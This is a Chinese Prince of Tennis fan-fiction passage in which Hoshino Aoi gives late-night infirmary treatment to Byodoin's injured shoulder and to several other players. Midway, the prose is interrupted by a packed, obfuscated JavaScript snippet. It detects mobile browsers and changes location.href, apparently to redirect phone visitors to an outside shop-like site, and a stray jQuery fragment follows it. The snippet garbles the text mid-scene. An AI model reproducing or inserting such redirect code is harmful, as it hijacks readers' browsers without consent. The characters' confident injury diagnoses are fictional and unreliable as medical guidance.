深夜十一点四十分，U-17合宿基地的医务室还亮着灯。
星野碧躺在诊疗床上，脸上敷着一层厚厚的复活草面膜，身上盖着羊绒毯，手里举着 Kindle 正在读《疼痛的生物学机制》。他的行李箱半开着，露出里面整齐排列的理疗器具：筋膜枪、超声波治疗仪、肌内效贴布，还有三瓶不同品牌的保湿喷雾。
"……所以慢性疼痛本质上是神经系统的误判，"他对着空气自言自语，手指划过屏幕，"就像平等院君对''强大''的认知，也是一种中枢神经系统的病理性重构……"
门被猛地推开，撞在墙上发出巨响。
星野碧吓得差点把 Kindle 砸在脸上。他揭起面膜的一角，看到门口站着一个金发乱翘的高大身影——平等院凤凰，189cm，74kg，此刻却佝偻着背，右手死死抓着左肩，指节泛白，额头上布满冷汗，那张总是写满暴虐的脸扭曲成一种痛苦的狰狞。
"……平等院君？"星野碧坐起身，面膜掉在毯子上，"现在是十一点四十二分，根据《劳动法》，这属于非工作时间。以及，你的表情管理崩坏了，看起来很疼。"
"闭嘴……"平等院的声音像是是从牙缝里挤出来的，他踉跄着走进来，右肩不自然地垂着，"你上次说的……有冰袋吗？"
"有，"星野碧掀开毯子，穿着丝绸睡衣下床，"但冰敷对急性肩袖撕裂的效果有限，而且你现在需要的是核磁共振，不是冰袋。以及，"他走到平等院面前，仰头看着这个比他高4cm的男人，"你的瞳孔散大了，疼痛指数至少7/10，建议立即就医，而不是在这里硬撑。"
平等院盯着星野碧，眼神里有暴怒，但更多的是一种被逼到绝境的困兽般的无助："……我不想让那群家伙看到……"
"哪群家伙？Duke？德川？还是那些国中生？"星野碧转身从冰箱里拿出冰袋，又用毛巾包好，"平等院君，''绝对王者''的人设维护成本很高吧？肩袖肌腱已经部分撕裂，如果你现在不休息，明天你就连球拍都举不起来。来，坐下。"
他指了指诊疗床。
平等院犹豫了一秒——这一秒里他的自尊心在剧烈挣扎——但最终疼痛战胜了尊严。他重重地坐在床上，发出一声压抑的呻吟。
星野碧站在他面前，开始检查。他的手指按在平等院的右肩峰下间隙，动作专业而轻柔："这里？"
"……嗯。"
"这里呢？"
"嘶——"
"冈上肌肌腱完全撕裂，伴有关节囊炎症，"星野碧冷静地诊断，"平等院君，你的''光击球''和''毁灭''，本质上是拿肩关节的健康换瞬间的爆发力。从职业寿命管理角度，我建议你立即停止所有训练，接受关节镜手术，恢复期六个月。"
"……不可能，"平等院咬牙，"两周后就是U-17世界杯……"
"所以你要带着撕裂的肌腱去澳大利亚？然后打一场就退役？"星野碧从柜子里拿出超声波治疗仪，"那很蠢，但既然你坚持，我只能给你做应急处理。脱衣服。"
"……啊？"
"脱上衣，"星野碧晃了晃治疗仪，"超声波深部热疗，可以缓解炎症。以及，我需要给你的肩关节打肌内效贴布，稳定肩峰。别担心，我不会趁你虚弱要你命——虽然从风险管理角度，这是击败你的最佳时机。"
平等院瞪着他，最终慢慢脱下黑色T恤，露出精瘦但肌肉分明的上身。右肩处有明显的肿胀，肩胛骨周围因为长期代偿而肌肉僵硬。
星野碧开始操作仪器，凝胶涂在平等院肩上，发出轻微的嗡鸣声。
"……为什么？"平等院突然开口，声音低沉，"为什么帮我？你应该……讨厌我这种''暴君''吧？"
"我不讨厌你，"星野碧专注地移动探头，"我只是觉得你的''男子气概''很浪费。你把自己当成国家的武器，当成必须''毁灭''一切的怪物，但实际上你只是个17岁的、肩膀很痛的少年。以及，"他抬头看了平等院一眼，"你救过Duke的妹妹，那说明你有共情能力，不是完全的精神病患者。"
平等院愣住了："……你知道那件事？"
"Duke告诉我的，"星野碧说，"他说你为了救一个不认识的小女孩，背对着建筑塌方，导致背部受伤。这和你现在的肩伤一样，都是''为了他人牺牲自己''的病理模式。平等院君，你有救世主情结，但救世的代价不该是自我毁灭。"
医务室陷入沉默，只有仪器的嗡鸣声。
门再次被推开。
Duke·渡边站在门口，192cm的身高几乎顶到门框，手里提着一个纸袋，圆圆的脸上满是担忧。他穿着灰色的连帽衫，那头标志性的莫西干发型在灯光下显得很柔软。
"老大，"Duke的声音很轻，带着法语口音的日语，"我听说你……哇哦。"
他看到了什么：平等院赤裸上身坐在床上，星野碧穿着丝绸睡衣站在旁边，手放在平等院肩上，两人姿势暧昧得像是某种深夜节目。
"……不是你想的那样，"星野碧头也不回地说，"Duke君，把门关上，冷气要跑出去了。以及，如果你带了吃的，请确认不含麸质，我今晚不想消化不良。"
Duke走进来，关上门，举起纸袋："……可颂。我刚烤的。还有饭团。"
"可颂？"星野碧的眼睛亮了，"法式可颂？黄油含量30%以上的那种？"
"是啊，"Duke有点懵，"你怎么知道……"
"闻得到，"星野碧终于放下治疗仪，转过身，"黄油的香气，面粉的焦香，还有一点点杏仁味……Duke君，你用了伊斯尼黄油？"
Duke的眼睛瞪大了："你懂烘焙？"
"职业运动员需要控制体脂，但不妨碍我欣赏好的糕点，"星野碧接过纸袋，拿出一个可颂，在灯光下观察酥皮的层次，"完美的蜂窝结构，层数至少81层，折叠手法很标准。平等院君，你应该学学Duke，用烘焙的耐心对待自己的身体，而不是用''毁灭''的暴力。"
平等院看着那个可颂，又看着Duke担忧的脸，突然叹了口气——那是一种放下了什么的、疲惫的叹息。
"……拿过来，"他说，"我饿了。"
星野碧把可颂递给他，又拿了一个给Duke，然后自己也拿了一个，坐在椅子上优雅地掰开："Duke君，你为什么会从法国转籍到日本？因为平等院救了你妹妹？"
Duke坐在床边，巨大的身躯让床发出吱呀声："是啊。老大救了我的妹妹Chloe，为了救她，他受了重伤，输给了法国队。我觉得……欠他一个人情，所以跟着他来了日本。"
"人情，"星野碧咀嚼着可颂，"有趣的词。那你对法国的忠诚呢？对祖国的感情呢？"
"我……"Duke挠挠头，"我是日法混血，但从小在法国长大。我以为我会一直代表法国，直到……直到遇到老大。忠诚不是对土地的，是对人的，对吧？"
"非常现代的观念，"星野碧点头，"我赞同。国家是想象的共同体，但人与人的羁绊是真实的。不过Duke君，你要小心，不要把''报恩''变成''自我牺牲''的借口。平等院君的肩伤就是前车之鉴。"
平等院咬着可颂，含糊地说："……不用你教训我，小子。"
"我17岁，你也17岁，我们不是小子，是青少年，"星野碧纠正，"以及，平等院君，你现在的吃相很不优雅，可颂的酥皮掉了一床。"
"……"
就在这时，门又被推开了。
这次进来的是三个人：手冢国光，越前龙马，以及不二周助。
"啊啦，"不二周助微笑着说，"深夜的医务室好热闹。手冢君说手腕有点不舒服，龙马君说睡不着……看来我打扰了什么？"
他举起相机，对准了平等院赤裸的上身和星野碧的睡衣。
"不准拍，"平等院和星野碧同时说。
"好可怕，"不二笑着放下相机，但眼睛睁开了，露出冰蓝色的瞳孔，"星野君，你在给平等院君做治疗？真是意外的一面。"
"职业习惯，"星野碧站起来，"手冢君，坐下。你的左手腕怎么了？"
手冢国光看着星野碧，又看了看平等院，表情严肃："只是有点酸痛。不用……"
"坐下，"星野碧打断他，"左手伸出来。我知道你以前有旧伤，手冢领域和零式削球对左腕的压力极大，你现在的桡骨茎突应该有炎症。"
手冢犹豫了一下，最终坐在另一张床上，伸出左手。
星野碧检查他的手腕，动作轻柔："舟月关节不稳定，三角纤维软骨磨损……手冢君，你在硬撑。你的''千锤百炼''和''才气焕发''，本质是在燃烧关节寿命。你打算像平等院君一样，打到残废为止吗？"
"……为了青学，为了日本，"手冢平静地说，"这是必要的牺牲。"
"又是牺牲，"星野碧叹了口气，拿出肌内效贴布，开始给手冢贴手腕，"你们这些''帝王''、''部长''、''神之子''，都喜欢用''牺牲''这个词。但手冢君，真正的领导力不是自我毁灭，是可持续的卓越。如果你废了，你在乎的那些东西怎么办？"
手冢沉默了。
越前龙马靠在墙上，拉低帽檐："……喂，防晒怪人，你呢？你什么都不牺牲，就这样轻松地说风凉话？"
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17268797|198105||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>星野碧抬头看他，笑了："龙马君，我牺牲了很多。我牺牲了''热血''、''羁绊''、''为国家去死''的戏剧快感，换来了可持续的职业生涯。以及，"他指了指龙马的膝盖，"你的生长板还没闭合，156cm的身高，如果像平等院君那样乱来，你将来会是个矮子残废，既打不了球也长不高。"
"……你还差的远呢！"龙马炸毛，"我会长到180的！"
"那你现在就该去睡觉，"星野碧说，"生长激素在深度睡眠时分泌，现在已经过了你的就寝时间。以及，"他看向不二周助，"不二君，你的相机是LEICA M6？胶片机？"
不二周助眨眨眼："是的，你怎么知道？"
"测光方式，"星野碧说，"以及，你拍平等院君的照片，如果洗出来，记得给我一张。我想做''不良训练导致的肌肉代偿''的病例展示。"
"好过分，"不二笑着说，"不过，可以给你一张。作为交换，你能告诉我……"他凑近，压低声音，"平等院君的弱点吗？"
"不二，"手冢警告道。
"他的弱点是右肩，"星野碧毫不留情地出卖，"打他的反手位高球，迫使他头顶击球，三球之内他会因为疼痛而失误。以及，"他补充，"他吃可颂的时候防备最低。"
平等院瞪着星野碧："……你到底是哪边的？"
"我是职业运动员这边的，"星野碧收拾器具，"无论日本、法国、青学、立海大，在我眼里都是''雇主''或''对手''。我帮助你们，是因为看不得好的运动天赋被愚蠢的训练方法浪费。以及，"他顿了顿，"因为你们都是十几岁的、会受伤的、应该被保护的……孩子。"
医务室安静了。
平等院低头看着手中的可颂，Duke轻轻拍了拍他的背，手冢调整着护腕，不二微笑着，龙马别过脸去嘟囔"谁要保护"，但耳朵红了。
门又一次开了。
越前龙雅靠在门框上，旁边站着德川和也。
"哎呀，"龙雅笑着说，"深夜的医务室变成了茶话会？龙马，你该回去睡觉了，不然长不高哦~"
"闭嘴，"龙马说。
德川看着平等院赤裸的肩，眼神复杂："平等院，你的伤……"
"没事，"平等院生硬地说，"死不了。"
"他需要休息，"星野碧对德川说，"德川君，你是他的继任者，也是他的受害者，但现在，你需要说服他休息。用你最擅长的——''一指禅''还是''学生会主席的威严''？"
德川愣了一下，然后走向平等院，递给他一瓶水："喝掉。然后睡觉。明天……我可以代替你训练No.1该做的工作。"
平等院看着德川，看着这个一直视他为仇敌、却又最了解他的少年，最终接过水："哼，别太得意，小子。我只是……暂时休息。"
"暂时，"星野碧纠正，"意味着两周。以及，"他看向所有人，"现在，所有人，回去睡觉。手冢君，戴上这个护腕睡觉。不二君，不要在暗房里洗照片太久，红光灯对眼睛不好。龙马君，喝牛奶。Duke君，谢谢你的可颂，明天能做法棍吗？龙雅君，别带坏你弟弟。德川君……"
他顿了顿，对德川微笑："……你的''黑洞''，本质上是利用空气动力学制造气压差，不是异次元。如果你想知道怎么用物理方法破解，明天来找我，我教你——收费合理。"
德川看着星野碧，那张总是严肃的脸上，终于露出了一丝笑意："好。"
众人陆续离开。
星野碧关上灯，最后看了一眼平等院——那个暴君已经躺在床上，盖着毯子，手里拿着没吃完的可颂，在月光下看起来像个普通的、疲惫的17岁少年——尽管胡子拉碴像大叔，从星野碧的美学标准来看他刮掉胡子会更美观。
"晚安，平等院君，"星野碧轻声说，"做个没有''毁灭''的梦。"
"啰嗦，"平等院闭上眼睛，"谢谢。"
星野碧关上门，嘴角勾起一抹微笑。
"不用谢，"他自言自语，"这是我的工作……虽然加班费没到账。"
他走回自己的房间，拿出日记本，写下：
【治疗了平等院的肩伤，收获了Duke的可颂，瓦解了手冢的''牺牲美学''，嘲笑了龙马的身高，调戏了不二周助，调解了德川与平等院的父子关系（笑）……以及，确认了这个营地里的每个人，都只是想要被理解的、倔强的孩子。明天，继续优雅地打工吧。】
窗外，月光洒在U-17的营地上，把那些"光击球"、"毁灭"、"神之子"的阴影都柔化成了一片温柔的银白。
而星野碧，已经戴好眼罩，准备睡一个好觉了。